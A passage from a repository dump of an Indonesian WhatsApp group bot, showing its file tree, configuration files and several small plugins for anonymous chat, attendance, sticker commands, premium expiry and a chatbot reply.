├── .github ├── FUNDING.yml └── ISSUE_TEMPLATE │ ├── bug-reports.md │ └── feature_request.md ├── LICENSE ├── Procfile ├── README.md ├── app.json ├── config.js ├── index.js ├── main.js ├── package.json ├── plugins ├── __antispam.js ├── _afk.js ├── _anonymous_chat.js ├── _antibadword.js ├── _anticulik.js ├── _antierror.js ├── _antilink.js ├── _antiviewonce.js ├── _autodownload.js ├── _autolevelup.js ├── _autosticker.js ├── _autostiker.js ├── _buttonsResponse.js ├── _cmdWithMedia.js ├── _delCmdWithMedia.js ├── _expired.js ├── _firstchat.js ├── _infoCmdWithMedia.js ├── _listCmdWithMedia.js ├── _lockCmdWithMedia.js ├── _mengerror.js ├── _premiumcheck.js ├── _role.js ├── _setCmdWithMedia.js ├── _simi.js ├── _tagowner.js ├── _tictactoe.js ├── abs-absen.js ├── abs-cekabsen.js ├── abs-delete.js ├── abs-start.js ├── anime-anime.js ├── anime-animeinfo.js ├── anime-animelink.js ├── anime-charainfo.js ├── anime-husbu.js ├── anime-kusonime.js ├── anime-loli.js ├── anime-manga.js ├── anime-mangalink.js ├── anime-ppwibu.js ├── anime-quotesanim.js ├── anime-randomanime.js ├── anime-waifu.js ├── anime-wait.js ├── anime-wibu.js ├── anony-anonymous_chat.js ├── audio-ara.js ├── audio-bass.js ├── audio-blown.js ├── audio-deep.js ├── audio-earrape.js ├── audio-fast.js ├── audio-fat.js ├── audio-nightcore.js ├── audio-reverse.js ├── audio-robot.js ├── audio-slow.js ├── audio-smooth.js ├── audio-tupai.js ├── audio-voicechanger.js ├── belajar-brainly.js ├── daftar-daftar.js ├── database-addmsg.js ├── database-delmsg.js ├── database-getmsg.js ├── database-listmsg.js ├── downloader-fb.js ├── downloader-ig.js ├── downloader-ighightlight.js ├── downloader-igstory.js ├── downloader-joox.js ├── downloader-mediafire.js ├── downloader-pinterestdl.js ├── downloader-smule.js ├── downloader-snackvideo.js ├── downloader-spotify.js ├── downloader-twitter.js ├── downloader-ytmp3.js ├── downloader-ytmp4.js ├── editor-alien.js ├── editor-bright.js ├── editor-deepfry.js ├── editor-fire.js ├── editor-fisheye.js ├── editor-flip.js ├── editor-grey.js ├── editor-gtaposter.js ├── editor-hd.js ├── editor-kalender.js ├── editor-komunis.js ├── editor-laptop.js ├── editor-memetext.js ├── editor-pelangi.js ├── editor-pensil.js ├── editor-petir.js ├── editor-rotate.js ├── editor-sketch.js ├── editor-skullmask.js ├── editor-smile.js ├── editor-styletext.js ├── editor-thuglife.js ├── editor-tobe.js ├── fun-jodoh.js ├── fun-jumpscare.js ├── fun-paling.js ├── fun-simi_simi.js ├── fun-sindiran.js ├── game-angka.js ├── game-asahotak.js ├── game-asahotak_ans.js ├── game-asahotak_answer.js ├── game-asahotak_hint.js ├── game-caklontong.js ├── game-caklontong_ans.js ├── game-caklontong_answer.js ├── game-caklontong_hint.js ├── game-cantikcek.js ├── game-cari.js ├── game-casino.js ├── game-dadu.js ├── game-dadu2.js ├── game-dare.js ├── game-family100.js ├── game-family100_answer.js ├── game-gantengcek.js ├── game-gaycek.js ├── game-hint.js ├── game-iqtest.js ├── game-kuis.js ├── game-kuis_answer.js ├── game-math.js ├── game-math2.js ├── game-math2_answer.js ├── game-math_answer.js ├── game-siapakahaku.js ├── game-siapakahaku_ans.js ├── game-siapakahaku_hint.js ├── game-slot.js ├── game-suit.js ├── game-susunkata.js ├── game-susunkata_ans.js ├── game-susunkata_hint.js ├── game-tebakanime.js ├── game-tebakanime_answer.js ├── game-tebakbendera.js ├── game-tebakbendera_answer.js ├── game-tebakbendera_hint.js ├── game-tebakgambar.js ├── game-tebakgambar_answer.js ├── game-tebakgambar_hint.js ├── game-tebakkata.js ├── game-tebakkata_ans.js ├── game-tebakkata_answer.js ├── game-tebakkata_hint.js ├── game-tebakkimia.js ├── game-tebakkimia_ans.js ├── game-tebakkimia_hint.js ├── game-tebaklagu.js ├── game-tebaklagu_ans.js ├── game-tebaklagu_hint.js ├── game-tebaktebakan.js ├── game-tebaktebakan_answer.js ├── game-tebaktebakan_hint.js ├── game-tekateki.js ├── game-tekateki_ans.js ├── game-tekateki_hint.js ├── game-tictactoe.js ├── game-tololcek.js ├── game-truth.js ├── game-twister.js ├── group-Info.js ├── group-accbang.js ├── group-add.js ├── group-afk.js ├── group-contact.js ├── group-demote.js ├── group-enable.js ├── group-getpp.js ├── group-getsider.js ├── group-infogroup.js ├── group-infogrup..js ├── group-kick.js ├── group-kickall.js ├── group-leave.js ├── group-leavegc.js ├── group-link.js ├── group-link_group.js ├── group-list.js ├── group-listadmin.js ├── group-online.js ├── group-option.js ├── group-pengumuman.js ├── group-promote.js ├── group-resend.js ├── group-revoke.js ├── group-set.js ├── group-setProfileGroup.js ├── group-setdesk.js ├── group-setname.js ├── group-setpp.js ├── group-setpptext.js ├── group-tagall.js ├── group-tagme.js ├── group.js ├── hadiah-bonus.js ├── hadiah-buygift.js ├── hadiah-event.js ├── hadiah-freegift.js ├── hadiah-gift.js ├── image-cat.js ├── image-cewek.js ├── image-couple.js ├── image-cowok.js ├── image-darkjoke.js ├── image-estetik.js ├── image-kpop.js ├── image-makanan.js ├── image-manga.js ├── image-me.js ├── image-meme.js ├── image-meme_choose.js ├── image-party.js ├── image-pinterest.js ├── image-pokemon.js ├── image-quotesimg.js ├── image-splaybutton.js ├── image-wallpaper.js ├── image-wallpaperq.js ├── image-wp1.js ├── image-wp2.js ├── image-wp3.js ├── image-wp4.js ├── image-wp5.js ├── image.js ├── info-apikey.js ├── info-bannedList.js ├── info-boost.js ├── info-creator.js ├── info-database.js ├── info-donasi.js ├── info-gcbot.js ├── info-invite.js ├── info-listprem.js ├── info-mystat.js ├── info-pembayaran.js ├── info-premium.js ├── info-premlist.js ├── info-rules.js ├── info-sewabot.js ├── info-totalfitur.js ├── info.js ├── internet-bitly.js ├── internet-chord.js ├── internet-darkjokes.js ├── internet-google.js ├── internet-googleimage.js ├── internet-katabijak.js ├── internet-kbbi.js ├── internet-lirik.js ├── internet-meme.js ├── internet-meme_indo.js ├── internet-memecreator.js ├── internet-playstore.js ├── internet-resep.js ├── internet-shopee.js ├── internet-ssweb.js ├── internet-subreddit.js ├── internet-wiki.js ├── internet-wikipedia.js ├── internet-ytsearch.js ├── kerang-How.js ├── kerang-apakah.js ├── kerang-artimimpi.js ├── kerang-benarkah.js ├── kerang-bisakah.js ├── kerang-kapankah.js ├── kerang-siapa.js ├── kerang-siapakah.js ├── main-alive.js ├── main-menu.js ├── main-report.js ├── main-status.js ├── music-play.js ├── news-berita.js ├── news-infobmkg.js ├── nulis-ht.js ├── nulis-magernulis.js ├── nulis-magernulis1-6.js ├── nulis-polio.js ├── nulis-quotemaker2.js ├── nulis-tahta2.js ├── nulis.js ├── nulis2.js ├── nulis3.js ├── nulis4.js ├── nulis5.js ├── onwer-banchat.js ├── owner--_expired.js ├── owner-addWhitelist.js ├── owner-addprem.js ├── owner-backup.js ├── owner-backupsend.js ├── owner-balas.js ├── owner-banchat.js ├── owner-banuser.js ├── owner-bcgc.js ├── owner-bcnowm.js ├── owner-block.js ├── owner-blockList.js ├── owner-broadcast.js ├── owner-broadcastgroups.js ├── owner-broadcastjadibot.js ├── owner-cheatall.js ├── owner-cheatiket.js ├── owner-cheatlimit.js ├── owner-cheatxp.js ├── owner-clear.js ├── owner-clearall.js ├── owner-debounce.js ├── owner-delprem.js ├── owner-df.js ├── owner-enable.js ├── owner-exec.js ├── owner-exec2.js ├── owner-expired.js ├── owner-getdatabase.js ├── owner-getfile.js ├── owner-getplugins.js ├── owner-listprem.js ├── owner-oadmin.js ├── owner-pengumuman.js ├── owner-promote.js ├── owner-resetlimit.js ├── owner-resetprefix.js ├── owner-resetprefixbot.js ├── owner-restart.js ├── owner-self.js ├── owner-sendtroli.js ├── owner-setbotbio.js ├── owner-setbotpp.js ├── owner-setbye.js ├── owner-setmenu.js ├── owner-setprefix.js ├── owner-setprefixbot.js ├── owner-setwelcome.js ├── owner-sf.js ├── owner-simulate.js ├── owner-stopjadibot.js ├── owner-sudo.js ├── owner-tagall.js ├── owner-titlein.js ├── owner-unbanchat.js ├── owner-unbanuser.js ├── owner-unwarn.js ├── owner-update.js ├── owner-upsw.js ├── owner-warn.js ├── owner-write.js ├── panik-jadian.js ├── panik-mengjodoh.js ├── premium-cerpen.js ├── premium-getcode.js ├── premium-jadibot.js ├── premium-join.js ├── premium-joind.js ├── premium-listjadibot.js ├── premium-send.js ├── premium-stickernowm.js ├── premium-stickerwa.js ├── primbon-artinama.js ├── primbon-cekjodoh.js ├── primbon-ceksifat.js ├── primbon-masadepan.js ├── primbon-tebakumur.js ├── primbon-tgljadian.js ├── primbon-zodiak.js ├── quotes-bacot.js ├── quotes-bucin.js ├── quotes-ceritahorror.js ├── quotes-fakta.js ├── quotes-galau.js ├── quotes-gombal.js ├── quotes-hug.js ├── quotes-pantun.js ├── quotes-puisi.js ├── quotes-renungan.js ├── quran-Kisahnabi.js ├── quran-alquran.js ├── quran-asmaulhusna.js ├── quran-ayatkursi.js ├── quran-doaharian.js ├── quran-hadis.js ├── quran-jsholat.js ├── quran-murothal.js ├── quran-nabi.js ├── quran-niatsholat.js ├── quran-randomQuran.js ├── quran-salat.js ├── quran-sholat.js ├── quran-sholawat.js ├── quran-surah.js ├── quran-tahlil.js ├── quran-wirid.js ├── quran.js ├── rpg-Judi.js ├── rpg-adventure.js ├── rpg-bansos.js ├── rpg-berburu.js ├── rpg-build.js ├── rpg-claim.js ├── rpg-craft.js ├── rpg-daily.js ├── rpg-duel.js ├── rpg-feed.js ├── rpg-gajian.js ├── rpg-hunt.js ├── rpg-inv.js ├── rpg-kandang.js ├── rpg-kerja.js ├── rpg-koboy.js ├── rpg-kolam.js ├── rpg-menanam.js ├── rpg-mnc.js ├── rpg-mng.js ├── rpg-monthly.js ├── rpg-nabung.js ├── rpg-narik.js ├── rpg-ojekk.js ├── rpg-open.js ├── rpg-shop.js ├── rpg-slots.js ├── rpg-tanam.js ├── rpg-transfer.js ├── rpg-tukarcoin.js ├── rpg-tukarexp.js ├── rpg-tukarmoney.js ├── rpg-use.js ├── rpg-weekly.js ├── sound-berat.js ├── sound-fast.js ├── sound-getvn.js ├── sound-gtts.js ├── sound-kodebahasa.js ├── sound-listvn.js ├── sound-play.js ├── sound-slow.js ├── sound-tomp3.js ├── sound-toptt.js ├── spam-call.js ├── spam-chat.js ├── spam-danacinta.js ├── spam-gmail.js ├── spam-olx.js ├── spam-pizzahut.js ├── spam-sms.js ├── spam.js ├── sticker-FFSerti.js ├── sticker-Line.js ├── sticker-Telegram.js ├── sticker-amongus.js ├── sticker-attp.js ├── sticker-banner.js ├── sticker-bintang.js ├── sticker-burning.js ├── sticker-carbontext.js ├── sticker-cloudtext.js ├── sticker-cod.js ├── sticker-coffe.js ├── sticker-coffecup.js ├── sticker-coffetext.js ├── sticker-colong.js ├── sticker-comictext.js ├── sticker-costumtrigger.js ├── sticker-crismes.js ├── sticker-crossfire.js ├── sticker-cry.js ├── sticker-customtahta.js ├── sticker-customtrigger.js ├── sticker-darkneon.js ├── sticker-dropwater.js ├── sticker-editodserti.js ├── sticker-epep.js ├── sticker-fbplaybutton.js ├── sticker-fflogo.js ├── sticker-firetext.js ├── sticker-firework.js ├── sticker-football.js ├── sticker-gayserti.js ├── sticker-getexif.js ├── sticker-gif.js ├── sticker-gplaybutton.js ├── sticker-gradient.js ├── sticker-gtattp.js ├── sticker-harrypotter.js ├── sticker-hekerserti.js ├── sticker-helloween.js ├── sticker-honey.js ├── sticker-hornycard.js ├── sticker-joke.js ├── sticker-kiss.js ├── sticker-ktp.js ├── sticker-lionlogo.js ├── sticker-love.js ├── sticker-meme.js ├── sticker-naruto.js ├── sticker-ninjalogo.js ├── sticker-pantaitext.js ├── sticker-phcommand.js ├── sticker-phlogo.js ├── sticker-photooxy.js ├── sticker-picture.js ├── sticker-poly.js ├── sticker-pubg.js ├── sticker-punch.js ├── sticker-quotemaker.js ├── sticker-rainbowglow.js ├── sticker-realisticcloud.js ├── sticker-sandw.js ├── sticker-sbburn.js ├── sticker-sepia.js ├── sticker-sfire.js ├── sticker-shake.js ├── sticker-smeme.js ├── sticker-smim.js ├── sticker-smooke.js ├── sticker-snowtext.js ├── sticker-spiderman.js ├── sticker-stickerly.js ├── sticker-stickfilter.js ├── sticker-stickmaker.js ├── sticker-style.js ├── sticker-tahta.js ├── sticker-telestick.js ├── sticker-text3d.js ├── sticker-thundertext.js ├── sticker-togif.js ├── sticker-toimg.js ├── sticker-tololserti.js ├── sticker-toxictext.js ├── sticker-trigger.js ├── sticker-triggered.js ├── sticker-trumpcomment.js ├── sticker-ttp.js ├── sticker-ttpdark.js ├── sticker-ultah.js ├── sticker-underwater.js ├── sticker-valorant.js ├── sticker-wallgravity.js ├── sticker-wanted.js ├── sticker-warface.js ├── sticker-wasted.js ├── sticker-water1.js ├── sticker-whitecube.js ├── sticker-wm.js ├── sticker-wolflogo.js ├── sticker-wolfmetal.js ├── sticker-wooden.js ├── sticker.js ├── sticker1.js ├── system-TQTO.js ├── system-TQTO2.js ├── system-up.js ├── system-wet.js ├── tools-aksara.js ├── tools-base64.js ├── tools-binary.js ├── tools-calc.js ├── tools-cuaca.js ├── tools-delete.js ├── tools-effect_senyum.js ├── tools-enhance.js ├── tools-film.js ├── tools-filmanime.js ├── tools-findpesan.js ├── tools-fitnah.js ├── tools-font.js ├── tools-gay.js ├── tools-github-search.js ├── tools-hackweb.js ├── tools-hash.js ├── tools-hlh.js ├── tools-huruf.js ├── tools-ifilter.js ├── tools-imagetobase64.js ├── tools-img2braille.js ├── tools-img2url.js ├── tools-infogempa.js ├── tools-inspectlink.js ├── tools-ip.js ├── tools-kodepos.js ├── tools-maps.js ├── tools-mask.js ├── tools-memeg.js ├── tools-mention.js ├── tools-modapk.js ├── tools-nickff.js ├── tools-nightcore.js ├── tools-ninja.js ├── tools-nonton.js ├── tools-ocr.js ├── tools-pastebin.js ├── tools-ping.js ├── tools-profile.js ├── tools-purba.js ├── tools-qrcode.js ├── tools-readqr.js ├── tools-repeat.js ├── tools-reverse.js ├── tools-save.js ├── tools-say.js ├── tools-scan.js ├── tools-sid.js ├── tools-speed.js ├── tools-teruskan.js ├── tools-textpro.js ├── tools-topdf.js ├── tools-translate.js ├── tools-upload.js ├── tools-upload2.js ├── tools-virvid.js ├── tools-waktu.js ├── tools-yts.js ├── tools-zodiac.js ├── video-jedagjedug.js ├── video-lolivid.js ├── video-ptlvid.js ├── video-shitpost.js ├── video-togif.js ├── video-videolucu.js ├── vote-cekvote.js ├── vote-delete.js ├── vote-start.js ├── vote-vote.js ├── xp-buylimit.js ├── xp-dompet.js ├── xp-exp.js ├── xp-limit.js ├── xp-pay.js ├── xp-paylimit.js ├── xp-referal.js ├── xp-sn.js ├── xp-topmoney.js └── xp-unreg.js ├── system ├── audio │ ├── Ara.mp3 │ └── woahh.mp3 ├── handler.js ├── lib │ ├── cloudDBAdapter.js │ ├── cluster.js │ ├── color.js │ ├── converter.js │ ├── database.js │ ├── exif.js │ ├── facebook.js │ ├── function.js │ ├── functions.js │ ├── game.js │ ├── gdrive.js │ ├── hack.js │ ├── jagokata.js │ ├── levelling.js │ ├── logs.js │ ├── lowdb │ │ ├── Low.d.ts │ │ ├── Low.js │ │ ├── LowSync.d.ts │ │ ├── LowSync.js │ │ ├── MissingAdapterError.d.ts │ │ ├── MissingAdapterError.js │ │ ├── adapters │ │ │ ├── JSONFile.d.ts │ │ │ ├── JSONFile.js │ │ │ ├── JSONFileSync.d.ts │ │ │ ├── JSONFileSync.js │ │ │ ├── LocalStorage.d.ts │ │ │ ├── LocalStorage.js │ │ │ ├── Memory.d.ts │ │ │ ├── Memory.js │ │ │ ├── MemorySync.d.ts │ │ │ ├── MemorySync.js │ │ │ ├── TextFile.d.ts │ │ │ ├── TextFile.js │ │ │ ├── TextFileSync.d.ts │ │ │ └── TextFileSync.js │ │ ├── index.d.ts │ │ └── index.js │ ├── mediafire.js │ ├── mining.js │ ├── mongoDB.js │ ├── myfunc.js │ ├── print.js │ ├── scrape.js │ ├── simple.js │ ├── sticker.js │ ├── tictactoe.d.ts │ ├── tictactoe.js │ ├── timedate.js │ ├── uploadFile.js │ ├── uploadImage.js │ ├── webp.js │ ├── webp2mp4.js │ ├── welcome.js │ └── y2mate.js ├── src │ ├── Aesthetic │ │ ├── Aesthetic_000.jpeg │ │ ├── Aesthetic_001.jpg │ │ └── Aesthetic_002.jpg │ ├── avatar_contact.png │ ├── error.png │ ├── font │ │ ├── Futura Bold Italic font.ttf │ │ ├── Futura Bold font.ttf │ │ ├── Futura Book Italic font.ttf │ │ ├── Futura Book font.ttf │ │ ├── Futura Extra Black font.ttf │ │ ├── Futura Heavy Italic font.ttf │ │ ├── Futura Heavy font.ttf │ │ ├── Futura Light Italic font.ttf │ │ ├── Futura Light font.ttf │ │ ├── Futura Medium Italic font.ttf │ │ ├── Futura XBlk BT.ttf │ │ ├── Futura-CondensedLight.otf │ │ ├── Roboto-Black.ttf │ │ ├── Roboto-BlackItalic.ttf │ │ ├── Roboto-Bold.ttf │ │ ├── Roboto-BoldItalic.ttf │ │ ├── Roboto-Italic.ttf │ │ ├── Roboto-Light.ttf │ │ ├── Roboto-LightItalic.ttf │ │ ├── Roboto-Medium.ttf │ │ ├── Roboto-MediumItalic.ttf │ │ ├── Roboto-Regular.ttf │ │ ├── Roboto-Thin.ttf │ │ ├── Roboto-ThinItalic.ttf │ │ ├── Zahraaa.ttf │ │ ├── font-gue.ttf │ │ ├── futur.ttf │ │ ├── futura light bt.ttf │ │ ├── futura medium bt.ttf │ │ └── futura medium condensed bt.ttf │ └── kertas │ │ └── magernulis1.jpg └── sticker │ ├── Diam.webp │ ├── Dongo.webp │ ├── Enggak.webp │ ├── Gamau.webp │ ├── Ikutan.webp │ ├── Mintakick.webp │ ├── Sante.webp │ ├── Sesat.webp │ ├── error.webp │ └── layla.webp └── yarn-error.log /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: ["zevano"] 4 | patreon: # Replace with a single Patreon username 5 | open_collective: # Replace with a single Open Collective username 6 | ko_fi: # Replace with a single Ko-fi username 7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel 8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry 9 | liberapay: # Replace with a single Liberapay username 10 | issuehunt: # Replace with a single IssueHunt username 11 | otechie: # Replace with a single Otechie username 12 | lfx_crowdfunding: # Replace with a single LFX Crowdfunding project-name e.g., cloud-foundry 13 | custom: ['https://s.id/zevano'] 14 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug-reports.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug Reports 3 | about: Create a report to help us improve 4 | title: BUGS 5 | labels: bug 6 | assignees: '' 7 | 8 | --- 9 | 10 | *Title* 11 | 12 | 13 | *Describe bugs, if have photo include it* 14 | 15 | *Attempts you have made to resolve the error* 16 | 17 | *The results of your efforts* 18 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: REQFIT 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | *Describe what the features are like* 11 | 12 | *Describe how the feature works* 13 | 14 | *What is the result of that feature* 15 | 16 | *What are the benefits of this feature* 17 | -------------------------------------------------------------------------------- /Procfile: -------------------------------------------------------------------------------- 1 | web: node . --server -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![-----------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/colored.png)](#table-of-contents) 2 | 3 | # `Information` 4 | 5 | > Script ini sudah berakhir dan pindah ke [Vanessha-MD](https://github.com/zevanoo/Vanessha-MD) 6 | 7 | --------- 8 | 9 | # Thanks To 10 | * **Allah SWT** 11 | 12 | * **Orang Tua** 13 | 14 | * **Semua yang selalu mendukung** 15 | 16 | ### Special Thanks to 17 | 18 | 19 | [![Zevano](https://github.com/zevanoo.png?size=100)](https://github.com/zevanoo) 20 | [![Yusuf](https://github.com/yusup909.png?size=100)](https://github.com/yusup909) 21 | -------------------------------------------------------------------------------- /app.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Nayla-MD", 3 | "description": "Simple WhatsApp Bot", 4 | "repository": "https://github.com/zevoffc/nayla", 5 | "logo": "https://node-js-sample.herokuapp.com/node.png", 6 | "keywords": [ 7 | "bot", 8 | "whatsapp", 9 | "whatsapp-bot" 10 | ] 11 | } -------------------------------------------------------------------------------- /plugins/_anonymous_chat.js: -------------------------------------------------------------------------------- 1 | let handler = m => m 2 | 3 | handler.before = async function (m, { match }) { 4 | // if (match) return !1 5 | if (!m.chat.endsWith('@s.whatsapp.net')) return !0 6 | this.anonymous = this.anonymous ? this.anonymous : {} 7 | let room = Object.values(this.anonymous).find(room => [room.a, room.b].includes(m.sender) && room.state === 'CHATTING') 8 | if (room) { 9 | let other = [room.a, room.b].find(user => user !== m.sender) 10 | m.copyNForward(other, true, m.quoted && m.quoted.fromMe ? { 11 | contextInfo: { 12 | ...m.msg.contextInfo, 13 | forwardingScore: 1, 14 | isForwarded: true, 15 | participant: other 16 | } 17 | } : {}) 18 | } 19 | return !0 20 | } 21 | 22 | module.exports = handler 23 | -------------------------------------------------------------------------------- /plugins/_anticulik.js: -------------------------------------------------------------------------------- 1 | let fs = require('fs') 2 | let handler = m => m 3 | 4 | handler.all = async function (m, { isBlocked }) { 5 | if (isBlocked) return 6 | // ketika ada yang invite/kirim link grup di chat pribadi 7 | if ((m.mtype === 'groupInviteMessage' || m.text.startsWith('Undangan untuk bergabung') || m.text.startsWith('Invitation to join') || m.text.startsWith('Buka tautan ini')) && !m.isBaileys && !m.isGroup) { 8 | let teks = `Invite Group 9 | • 15 Day / Rp 5k 10 | • 30 Day / Rp 10k 11 | 12 | Jika berminat hubungi: @${global.owner[0]} untuk order:) 13 | ` 14 | this.reply(m.chat, teks, m) 15 | const data = global.owner.filter(([id, isCreator]) => id && isCreator) 16 | this.sendContact(m.chat, data.map(([id, name]) => [id, name]), m) 17 | } 18 | } 19 | 20 | module.exports = handler 21 | -------------------------------------------------------------------------------- /plugins/_delCmdWithMedia.js: -------------------------------------------------------------------------------- 1 | module.exports = Object.assign(async function handler(m, { text }) { 2 | let hash = text 3 | if (m.quoted && m.quoted.fileSha256) hash = m.quoted.fileSha256.toString('hex') 4 | if (!hash) throw `Tidak ada hash` 5 | delete global.db.data.sticker[hash] 6 | m.reply(`Done!`) 7 | }, { 8 | owner: true, 9 | help: ['cmd'].map(v => 'del' + v + ' '), 10 | tags: ['database'], 11 | command: ['delcmd'] 12 | }) 13 | -------------------------------------------------------------------------------- /plugins/_expired.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | async all(m) { 3 | if (!m.isGroup) return 4 | let chats = global.db.data.chats[m.chat] 5 | if (!chats.expired) return !0 6 | if (+new Date() > chats.expired) { 7 | const data = global.owner.filter(([id, isCreator]) => id && isCreator) 8 | await m.reply(`It's time *${this.user.name}* to leave the group 👋`) 9 | await this.sendContact(m.chat, data.map(([id, name]) => [id, name]), m) 10 | await this.delay(10000) 11 | await this.groupLeave(m.chat) 12 | } 13 | } 14 | } 15 | 16 | -------------------------------------------------------------------------------- /plugins/_listCmdWithMedia.js: -------------------------------------------------------------------------------- 1 | module.exports = Object.assign(m => m.reply(` 2 | *LIST HASH* 3 | \`\`\` 4 | ${Object.entries(global.db.data.sticker).map(([key, value], index) => `${index + 1}. ${key}: ${value.text}`).join('\n')} 5 | \`\`\` 6 | `.trim(), null, { 7 | contextInfo: { 8 | mentionedJid: Object.values(global.db.data.sticker).map(x => x.mentionedJid).reduce((a,b) => [...a, ...b], []) 9 | } 10 | }), { 11 | help: ['cmd'].map(v => 'list' + v + ' '), 12 | tags: ['database'], 13 | command: ['listcmd'] 14 | }) 15 | -------------------------------------------------------------------------------- /plugins/_lockCmdWithMedia.js: -------------------------------------------------------------------------------- 1 | module.exports = Object.assign(async function handler(m, { command }) { 2 | if (!m.quoted) throw 'Reply Pesan!' 3 | if (!m.quoted.fileSha256) throw 'SHA256 Hash Missing' 4 | let sticker = global.db.data.sticker 5 | let hash = m.quoted.fileSha256.toString('hex') 6 | if (!(hash in sticker)) throw 'Hash not found in database' 7 | sticker[hash].locked = !/^un/i.test(command) 8 | m.reply('Done!') 9 | }, { 10 | owner: true, 11 | help: ['un', ''].map(v => v + 'lockcmd'), 12 | tags: ['database'], 13 | command: /^(un)?lockcmd$/i 14 | }) 15 | -------------------------------------------------------------------------------- /plugins/_mengerror.js: -------------------------------------------------------------------------------- 1 | let fs = require('fs') 2 | let handler = async (m) => { 3 | let stc = fs.readFileSync('./sticker/error.webp') 4 | conn.fakeReply(m.chat, stc, '0@s.whatsapp.net', '*ERROR BY ZEVANO*', 'status@broadcast') 5 | } 6 | handler.customPrefix = /^(ERROR)$/i 7 | handler.command = new RegExp 8 | 9 | module.exports = handler -------------------------------------------------------------------------------- /plugins/_premiumcheck.js: -------------------------------------------------------------------------------- 1 | let handler = m => m 2 | handler.before = async (m, { conn, isPrems, owner }) => { 3 | if (isPrems) { 4 | if (new Date() * 1 >= global.db.data.users[m.sender].premiumDate) { 5 | conn.reply(m.chat, "*Maaf waktu untuk status premium anda telah berakhir :(*\n*Chat owner untuk upgrade premium lagi*", m).then(() => { 6 | global.db.data.users[m.sender].premium = false 7 | const data = global.owner.filter(([id, isCreator]) => id && isCreator) 8 | this.sendContact(m.chat, data.map(([id, name]) => [id, name]), m).then(() => { 9 | // this.sendContact(m.chat, owner[0], this.getName(owner[0] + '@s.whatsapp.net'), m).then(() => { 10 | }) 11 | }) 12 | } 13 | } 14 | } 15 | module.exports = handler -------------------------------------------------------------------------------- /plugins/_setCmdWithMedia.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { text }) => { 2 | if (!m.quoted) throw 'Reply Pesan!' 3 | if (!m.quoted.fileSha256) throw 'SHA256 Hash Missing' 4 | if (!text) throw `Tidak ada teks` 5 | global.db.data.sticker[m.quoted.fileSha256.toString('hex')] = { 6 | text, 7 | mentionedJid: m.mentionedJid, 8 | } 9 | m.reply(`Done!`) 10 | } 11 | 12 | handler.help = ['cmd'].map(v => 'set' + v + ' '), 13 | handler.tags = ['database', 'owner'], 14 | handler.command = /^setcmd$/i 15 | 16 | handler.owner = true 17 | 18 | module.exports = handler -------------------------------------------------------------------------------- /plugins/_simi.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = m => m 3 | 4 | handler.before = async (m) => { 5 | let chat = global.db.data.chats[m.chat] 6 | if (chat.simi && !chat.isBanned && !m.isGroup) { 7 | if (/^.*false|disnable|(turn)?off|0/i.test(m.text)) return 8 | if (!m.text) return 9 | let res = await fetch('https://fdciabdul.tech/api/ayla/?pesan=' + encodeURIComponent(m.text)) 10 | let json = await res.json() 11 | if (json.jawab == 'Aku tidak mengerti apa yang kamu katakan.Tolong ajari aku.') await m.reply('siminya blom diajarin jadi gatau t_t custom pesannya di https://simsimi.com/teach') 12 | else await m.reply(`*Simi:* ${json.jawab}`) 13 | return !0 14 | } 15 | return true 16 | } 17 | module.exports = handler 18 | -------------------------------------------------------------------------------- /plugins/_tagowner.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | let name = m.fromMe ? conn.user : conn.contacts[m.sender] 3 | 4 | conn.reply(m.chat, ` 5 | Kak Zevano, Ada Yang Manggil 6 | `.trim(), m) 7 | let mentionedJid = [m.sender] 8 | } 9 | handler.customPrefix = /(ZEVANO|@ZEVANO|ZEV)/i 10 | handler.command = new RegExp 11 | 12 | module.exports = handler -------------------------------------------------------------------------------- /plugins/abs-cekabsen.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, usedPrefix }) => { 2 | let id = m.chat 3 | conn.absen = conn.absen ? conn.absen : {} 4 | if (!(id in conn.absen)) throw `_*Tidak Ada Absen Berlangsung Digrup Ini!*_\n\n*${usedPrefix}mulaiabsen* - Untuk Memulai Absen` 5 | 6 | let d = new Date 7 | let date = d.toLocaleDateString('id', { 8 | day: 'numeric', 9 | month: 'long', 10 | year: 'numeric' 11 | }) 12 | let absen = conn.absen[id][1] 13 | let list = absen.map((v, i) => `│ ${i + 1}. @${v.split`@`[0]}`).join('\n') 14 | conn.reply(m.chat, `*「 ABSEN 」* 15 | 16 | Tanggal: ${date} 17 | ${conn.absen[id][2]} 18 | 19 | ┌ *Yang sudah absen:* 20 | │ 21 | │ Total: ${absen.length} 22 | ${list} 23 | │ 24 | └──── 25 | `, m, { contextInfo: { mentionedJid: absen } }) 26 | } 27 | handler.help = ['cekabsen'] 28 | handler.tags = ['abs'] 29 | handler.command = /^cekabsen$/i 30 | handler.group = true 31 | module.exports = handler -------------------------------------------------------------------------------- /plugins/abs-delete.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { usedPrefix }) => { 2 | let id = m.chat 3 | conn.absen = conn.absen ? conn.absen : {} 4 | if (!(id in conn.absen)) throw `_*Tidak Ada Absen Berlangsung Digrup Ini!*_\n\n*${usedPrefix}mulaiabsen* - Untuk Memulai Absen` 5 | delete conn.absen[id] 6 | m.reply(`Done!`) 7 | } 8 | handler.help = ['hapusabsen'] 9 | handler.tags = ['abs'] 10 | handler.command = /^(delete|hapus)absen$/i 11 | handler.group = true 12 | handler.admin = true 13 | module.exports = handler -------------------------------------------------------------------------------- /plugins/abs-start.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { usedPrefix, text }) => { 2 | conn.absen = conn.absen ? conn.absen : {} 3 | let 